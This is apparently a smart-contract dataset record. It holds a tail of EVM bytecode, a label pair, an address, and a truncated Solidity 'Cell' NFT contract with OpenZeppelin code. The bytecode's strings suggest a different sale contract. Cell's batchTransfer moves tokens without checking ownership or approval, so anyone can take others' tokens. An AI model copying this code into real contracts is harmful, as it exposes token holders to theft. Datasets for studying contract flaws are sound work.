fffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480612295575061229482612d87565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff1661238383611315565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006123d48261229c565b612413576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240a90614856565b60405180910390fd5b600061241e83611315565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061248d57508373ffffffffffffffffffffffffffffffffffffffff16612475846108aa565b73ffffffffffffffffffffffffffffffffffffffff16145b8061249e575061249d818561208c565b5b91505092915050565b6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16826040516124ef9061463d565b60006040518083038185875af1925050503d806000811461252c576040519150601f19603f3d011682016040523d82523d6000602084013e612531565b606091505b505090508061253f57600080fd5b5050565b8273ffffffffffffffffffffffffffffffffffffffff1661256382611315565b73ffffffffffffffffffffffffffffffffffffffff16146125b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125b0906149b6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612629576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262090614816565b60405180910390fd5b612634838383612e69565b61263f600082612310565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461268f9190614cc7565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126e69190614be6565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b600081600001549050919050565b6127b56112fe565b6127f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127eb90614716565b60405180910390fd5b6000600b60006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa612838612308565b6040516128459190614652565b60405180910390a1565b61285a848484612543565b61286684848484612ec1565b6128a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289c90614776565b60405180910390fd5b50505050565b6128b481613058565b50565b6000600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600b60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6129856112fe565b156129c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129bc90614896565b60405180910390fd5b6001600b60006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258612a09612308565b604051612a169190614652565b60405180910390a1565b6001816000016000828254019250508190555050565b612a508282604051806020016040528060008152506130ab565b5050565b612a5d8261229c565b612a9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a9390614916565b60405180910390fd5b80600a60008481526020019081526020016000209080519060200190612ac3929190613c16565b505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b2e90614836565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051612c2891906146b9565b60405180910390a3505050565b6060612c408261229c565b612c7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c7690614956565b60405180910390fd5b6000600a60008481526020019081526020016000208054612c9f90614db1565b80601f0160208091040260200160405190810160405280929190818152602001828054612ccb90614db1565b8015612d185780601f10612ced57610100808354040283529160200191612d18565b820191906000526020600020905b815481529060010190602001808311612cfb57829003601f168201915b505050505090506000612d29613106565b9050600081511415612d3f578192505050612d82565b600082511115612d74578082604051602001612d5c9291906145e8565b60405160208183030381529060405292505050612d82565b612d7d84613198565b925050505b919050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480612e5257507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80612e625750612e618261327c565b5b9050919050565b612e716112fe565b15612eb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ea890614896565b60405180910390fd5b612ebc8383836132e6565b505050565b6000612ee28473ffffffffffffffffffffffffffffffffffffffff166133fa565b1561304b578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612f0b612308565b8786866040518563ffffffff1660e01b8152600401612f2d949392919061466d565b602060405180830381600087803b158015612f4757600080fd5b505af1925050508015612f7857506040513d601f19601f82011682018060405250810190612f759190614002565b60015b612ffb573d8060008114612fa8576040519150601f19603f3d011682016040523d82523d6000602084013e612fad565b606091505b50600081511415612ff3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fea90614776565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050613050565b600190505b949350505050565b6130618161340d565b6000600a6000838152602001908152602001600020805461308190614db1565b9050146130a857600a600082815260200190815260200160002060006130a79190613c9c565b5b50565b6130b5838361351e565b6130c26000848484612ec1565b613101576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130f890614776565b60405180910390fd5b505050565b60606015805461311590614db1565b80601f016020809104026020016040519081016040528092919081815260200182805461314190614db1565b801561318e5780601f106131635761010080835404028352916020019161318e565b820191906000526020600020905b81548152906001019060200180831161317157829003601f168201915b5050505050905090565b60606131a38261229c565b6131e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131d9906149d6565b60405180910390fd5b60006131ec613106565b905060006040518060400160405280600581526020017f2e6a736f6e000000000000000000000000000000000000000000000000000000815250905060008251116132465760405180602001604052806000815250613273565b81613250856136ec565b826040516020016132639392919061460c565b6040516020818303038152906040525b92505050919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6132f1838383613899565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156133345761332f8161389e565b613373565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146133725761337183826138e7565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156133b6576133b181613a54565b6133f5565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146133f4576133f38282613b97565b5b5b505050565b600080823b905060008111915050919050565b600061341882611315565b905061342681600084612e69565b613431600083612310565b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546134819190614cc7565b925050819055506002600083815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905581600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561358e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161358590614936565b60405180910390fd5b6135978161229c565b156135d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135ce906147d6565b60405180910390fd5b6135e360008383612e69565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546136339190614be6565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b60606000821415613734576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050613894565b600082905060005b6000821461376657808061374f90614e14565b915050600a8261375f9190614c3c565b915061373c565b60008167ffffffffffffffff8111156137a8577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156137da5781602001600182028036833780820191505090505b5090505b6000851461388d576001826137f39190614cc7565b9150600a856138029190614e5d565b603061380e9190614be6565b60f81b81838151811061384a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856138869190614c3c565b94506137de565b8093505050505b919050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b600060016138f4846113c7565b6138fe9190614cc7565b90506000600760008481526020019081526020016000205490508181146139e3576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b60006001600880549050613a689190614cc7565b9050600060096000848152602001908152602001600020549050600060088381548110613abe577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015490508060088381548110613b06577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020018190555081600960008381526020019081526020016000208190555060096000858152602001908152602001600020600090556008805480613b7b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b6000613ba2836113c7565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b828054613c2290614db1565b90600052602060002090601f016020900481019282613c445760008555613c8b565b82601f10613c5d57805160ff1916838001178555613c8b565b82800160010185558215613c8b579182015b82811115613c8a578251825591602001919060010190613c6f565b5b509050613c989190613cdc565b5090565b508054613ca890614db1565b6000825580601f10613cba5750613cd9565b601f016020900490600052602060002090810190613cd89190613cdc565b5b50565b5b80821115613cf5576000816000905550600101613cdd565b5090565b6000613d0c613d0784614b36565b614b11565b905082815260208101848484011115613d2457600080fd5b613d2f848285614d6f565b509392505050565b6000613d4a613d4584614b67565b614b11565b905082815260208101848484011115613d6257600080fd5b613d6d848285614d6f565b509392505050565b600081359050613d848161572a565b92915050565b600081359050613d9981615741565b92915050565b600081359050613dae81615758565b92915050565b600081519050613dc381615758565b92915050565b600082601f830112613dda57600080fd5b8135613dea848260208601613cf9565b91505092915050565b600082601f830112613e0457600080fd5b8135613e14848260208601613d37565b91505092915050565b600081359050613e2c8161576f565b92915050565b600060208284031215613e4457600080fd5b6000613e5284828501613d75565b91505092915050565b60008060408385031215613e6e57600080fd5b6000613e7c85828601613d75565b9250506020613e8d85828601613d75565b9150509250929050565b600080600060608486031215613eac57600080fd5b6000613eba86828701613d75565b9350506020613ecb86828701613d75565b9250506040613edc86828701613e1d565b9150509250925092565b60008060008060808587031215613efc57600080fd5b6000613f0a87828801613d75565b9450506020613f1b87828801613d75565b9350506040613f2c87828801613e1d565b925050606085013567ffffffffffffffff811115613f4957600080fd5b613f5587828801613dc9565b91505092959194509250565b60008060408385031215613f7457600080fd5b6000613f8285828601613d75565b9250506020613f9385828601613d8a565b9150509250929050565b60008060408385031215613fb057600080fd5b6000613fbe85828601613d75565b9250506020613fcf85828601613e1d565b9150509250929050565b600060208284031215613feb57600080fd5b6000613ff984828501613d9f565b91505092915050565b60006020828403121561401457600080fd5b600061402284828501613db4565b91505092915050565b60006020828403121561403d57600080fd5b600082013567ffffffffffffffff81111561405757600080fd5b61406384828501613df3565b91505092915050565b60006020828403121561407e57600080fd5b600061408c84828501613e1d565b91505092915050565b61409e81614cfb565b82525050565b6140ad81614d0d565b82525050565b60006140be82614b98565b6140c88185614bae565b93506140d8818560208601614d7e565b6140e181614f4a565b840191505092915050565b60006140f782614ba3565b6141018185614bca565b9350614111818560208601614d7e565b61411a81614f4a565b840191505092915050565b600061413082614ba3565b61413a8185614bdb565b935061414a818560208601614d7e565b80840191505092915050565b6000614163601083614bca565b915061416e82614f5b565b602082019050919050565b6000614186601483614bca565b915061419182614f84565b602082019050919050565b60006141a9601c83614bca565b91506141b482614fad565b602082019050919050565b60006141cc602b83614bca565b91506141d782614fd6565b604082019050919050565b60006141ef603283614bca565b91506141fa82615025565b604082019050919050565b6000614212602683614bca565b915061421d82615074565b604082019050919050565b6000614235601e83614bca565b9150614240826150c3565b602082019050919050565b6000614258601c83614bca565b9150614263826150ec565b602082019050919050565b600061427b601583614bca565b915061428682615115565b602082019050919050565b600061429e602483614bca565b91506142a98261513e565b604082019050919050565b60006142c1601983614bca565b91506142cc8261518d565b602082019050919050565b60006142e4602c83614bca565b91506142ef826151b6565b604082019050919050565b6000614307600f83614bca565b915061431282615205565b602082019050919050565b600061432a601083614bca565b91506143358261522e565b602082019050919050565b600061434d603883614bca565b915061435882615257565b604082019050919050565b6000614370602a83614bca565b915061437b826152a6565b604082019050919050565b6000614393602983614bca565b915061439e826152f5565b604082019050919050565b60006143b6602e83614bca565b91506143c182615344565b604082019050919050565b60006143d9602083614bca565b91506143e482615393565b602082019050919050565b60006143fc603183614bca565b9150614407826153bc565b604082019050919050565b600061441f602c83614bca565b915061442a8261540b565b604082019050919050565b6000614442602083614bca565b915061444d8261545a565b602082019050919050565b6000614465602983614bca565b915061447082615483565b604082019050919050565b6000614488602f83614bca565b9150614493826154d2565b604082019050919050565b60006144ab601a83614bca565b91506144b682615521565b602082019050919050565b60006144ce602183614bca565b91506144d98261554a565b604082019050919050565b60006144f1600083614bbf565b91506144fc82615599565b600082019050919050565b6000614514603183614bca565b915061451f8261559c565b604082019050919050565b6000614537602c83614bca565b9150614542826155eb565b604082019050919050565b600061455a601c83614bca565b91506145658261563a565b602082019050919050565b600061457d602983614bca565b915061458882615663565b604082019050919050565b60006145a0603083614bca565b91506145ab826156b2565b604082019050919050565b60006145c3601e83614bca565b91506145ce82615701565b602082019050919050565b6145e281614d65565b82525050565b60006145f48285614125565b91506146008284614125565b91508190509392505050565b60006146188286614125565b91506146248285614125565b91506146308284614125565b9150819050949350505050565b6000614648826144e4565b9150819050919050565b60006020820190506146676000830184614095565b92915050565b60006080820190506146826000830187614095565b61468f6020830186614095565b61469c60408301856145d9565b81810360608301526146ae81846140b3565b905095945050505050565b60006020820190506146ce60008301846140a4565b92915050565b600060208201905081810360008301526146ee81846140ec565b905092915050565b6000602082019050818103600083015261470f81614156565b9050919050565b6000602082019050818103600083015261472f81614179565b9050919050565b6000602082019050818103600083015261474f8161419c565b9050919050565b6000602082019050818103600083015261476f816141bf565b9050919050565b6000602082019050818103600083015261478f816141e2565b9050919050565b600060208201905081810360008301526147af81614205565b9050919050565b600060208201905081810360008301526147cf81614228565b9050919050565b600060208201905081810360008301526147ef8161424b565b9050919050565b6000602082019050818103600083015261480f8161426e565b9050919050565b6000602082019050818103600083015261482f81614291565b9050919050565b6000602082019050818103600083015261484f816142b4565b9050919050565b6000602082019050818103600083015261486f816142d7565b9050919050565b6000602082019050818103600083015261488f816142fa565b9050919050565b600060208201905081810360008301526148af8161431d565b9050919050565b600060208201905081810360008301526148cf81614340565b9050919050565b600060208201905081810360008301526148ef81614363565b9050919050565b6000602082019050818103600083015261490f81614386565b9050919050565b6000602082019050818103600083015261492f816143a9565b9050919050565b6000602082019050818103600083015261494f816143cc565b9050919050565b6000602082019050818103600083015261496f816143ef565b9050919050565b6000602082019050818103600083015261498f81614412565b9050919050565b600060208201905081810360008301526149af81614435565b9050919050565b600060208201905081810360008301526149cf81614458565b9050919050565b600060208201905081810360008301526149ef8161447b565b9050919050565b60006020820190508181036000830152614a0f8161449e565b9050919050565b60006020820190508181036000830152614a2f816144c1565b9050919050565b60006020820190508181036000830152614a4f81614507565b9050919050565b60006020820190508181036000830152614a6f8161452a565b9050919050565b60006020820190508181036000830152614a8f8161454d565b9050919050565b60006020820190508181036000830152614aaf81614570565b9050919050565b60006020820190508181036000830152614acf81614593565b9050919050565b60006020820190508181036000830152614aef816145b6565b9050919050565b6000602082019050614b0b60008301846145d9565b92915050565b6000614b1b614b2c565b9050614b278282614de3565b919050565b6000604051905090565b600067ffffffffffffffff821115614b5157614b50614f1b565b5b614b5a82614f4a565b9050602081019050919050565b600067ffffffffffffffff821115614b8257614b81614f1b565b5b614b8b82614f4a565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b6000614bf182614d65565b9150614bfc83614d65565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614c3157614c30614e8e565b5b828201905092915050565b6000614c4782614d65565b9150614c5283614d65565b925082614c6257614c61614ebd565b5b828204905092915050565b6000614c7882614d65565b9150614c8383614d65565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614cbc57614cbb614e8e565b5b828202905092915050565b6000614cd282614d65565b9150614cdd83614d65565b925082821015614cf057614cef614e8e565b5b828203905092915050565b6000614d0682614d45565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015614d9c578082015181840152602081019050614d81565b83811115614dab576000848401525b50505050565b60006002820490506001821680614dc957607f821691505b60208210811415614ddd57614ddc614eec565b5b50919050565b614dec82614f4a565b810181811067ffffffffffffffff82111715614e0b57614e0a614f1b565b5b80604052505050565b6000614e1f82614d65565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614e5257614e51614e8e565b5b600182019050919050565b6000614e6882614d65565b9150614e7383614d65565b925082614e8357614e82614ebd565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f4e46542073616c652074696d696e677300000000000000000000000000000000600082015250565b7f5061757361626c653a206e6f7420706175736564000000000000000000000000600082015250565b7f4d6178206c696d697420686f6c64696e67207065722077616c6c657400000000600082015250565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4e46543a204e6f206574686572206c65667420746f2077697468647261770000600082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f4e46543a205472616e73666572206661696c65642e0000000000000000000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4e46543a204d617820537570706c790000000000000000000000000000000000600082015250565b7f5061757361626c653a2070617573656400000000000000000000000000000000600082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f45524337323155524953746f726167653a2055524920736574206f66206e6f6e60008201527f6578697374656e7420746f6b656e000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f45524337323155524953746f726167653a2055524920717565727920666f722060008201527f6e6f6e6578697374656e7420746f6b656e000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f506c6561736520656e74657220636f7272656374207072696365000000000000600082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b50565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b7f4d6178206c696d6974206d696e74696e67207065722077616c6c657400000000600082015250565b7f4e46543a204e6f206f66204e465473206d75737420626520677265617465722060008201527f7468656e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f4552433732314275726e61626c653a2063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656400000000000000000000000000000000602082015250565b7f4d6178206c696d69742069732032204e465420696e207072652073616c650000600082015250565b61573381614cfb565b811461573e57600080fd5b50565b61574a81614d0d565b811461575557600080fd5b50565b61576181614d19565b811461576c57600080fd5b50565b61577881614d65565b811461578357600080fd5b5056fea2646970667358221220d4fb10b18d83b6b206374bf1add7067997705d0040b7d027979f7dc1536dc07b64736f6c63430008020033
[ 13, 5 ]
0xF2fdC751f6f730EfeFca7b4F336bEbC52c6Fb073
pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; /** * @title Cell */ contract Cell is ERC721Enumerable, Ownable { string private _baseTokenURI; // Mapping from token ID to 10x10 cell image mapping (uint256 => bytes) private _image; // Mapping from token ID to image url mapping (uint256 => string) private _url; // Cell token count uint256 private _cellCount; // The sale contract address address private _minterContract; /** * Event for token change image logging * @param tokenId uint256 ID of the token to be change image * @param image byte code that represents the image of a 10 x 10 pixel * @param url link of image */ event SetImage(uint256 tokenId, bytes image, string url); constructor (string memory name, string memory symbol, uint256 cellCount) ERC721(name, symbol) { _cellCount = cellCount; } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function setBaseURI(string calldata newBaseTokenURI) public onlyOwner{ _baseTokenURI = newBaseTokenURI; } function baseURI() public view returns (string memory) { return _baseURI(); } function exists(uint256 tokenId) public view returns (bool) { return _exists(tokenId); } function setImage(uint256 tokenId, bytes memory image, string memory url) public { require(_isApprovedOrOwner(_msgSender(), tokenId), "Cell: caller is not owner nor approved"); _image[tokenId] = image; _url[tokenId] = url; emit SetImage(tokenId, image, url); } function setBatchImage(uint256[] memory tokenIds, bytes[] memory images, string memory url) public { require(tokenIds.length == images.length, "Cell: tokenIds and images must have the same length"); for (uint256 i = 0; i < tokenIds.length; ++i) { setImage(tokenIds[i], images[i], url); } } function getImage(uint256 tokenId) public view returns (bytes memory) { require(tokenId < getCellCount(), "Cell: tokenId must be less than cell count"); return _image[tokenId]; } function getUrl(uint256 tokenId) public view returns (string memory) { require(tokenId < getCellCount(), "Cell: tokenId must be less than cell count"); return _url[tokenId]; } function getMinterAddrass() public view returns (address) { return _minterContract; } function setMinterAddrass(address minterContract) public onlyOwner { _minterContract = minterContract; } function getCellCount() public view returns (uint256) { return _cellCount; } function mint(address to, uint256 tokenId) public { _mint(to, tokenId); } function safeMint(address to, uint256 tokenId) public { _safeMint(to, tokenId); } function safeMint(address to, uint256 tokenId, bytes memory _data) public { _safeMint(to, tokenId, _data); } function batchMint(address to,uint256[] memory tokenIds) public { for (uint256 i = 0; i < tokenIds.length; ++i) { _mint(to, tokenIds[i]); } } function batchTransfer(address from, address to,uint256[] memory tokenIds) public { for (uint256 i = 0; i < tokenIds.length; ++i) { _transfer(from, to, tokenIds[i]); } } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override{ require(tokenId < getCellCount(), "Cell: tokenId must be less than cell count"); require(from != address(0) || _msgSender() == _minterContract, "Cell: only the sale contract can be mint a new token"); super._beforeTokenTransfer(from, to, tokenId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 